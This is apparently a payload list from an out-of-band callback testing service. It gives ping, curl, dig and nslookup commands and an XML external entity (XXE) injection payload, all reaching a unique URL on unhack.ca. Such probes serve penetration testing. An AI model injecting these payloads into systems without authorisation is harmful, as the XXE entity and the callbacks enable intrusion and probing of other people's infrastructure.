$ ping -c1 -p 00a0dd902ac1ff0e1bf782bb4a935300 unhack.ca
 

$ curl http://unhack.ca/p/a0dd902ac1ff0e1bf782bb4a9353
 

$ dig a0dd902ac1ff0e1bf782bb4a9353 @unhack.ca
 

$ dig a0dd902ac1ff0e1bf782bb4a9353.ns.unhack.ca
 

C:\> nslookup a0dd902ac1ff0e1bf782bb4a9353 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/a0dd902ac1ff0e1bf782bb4a9353">]>
    <foo>&xxe;</foo>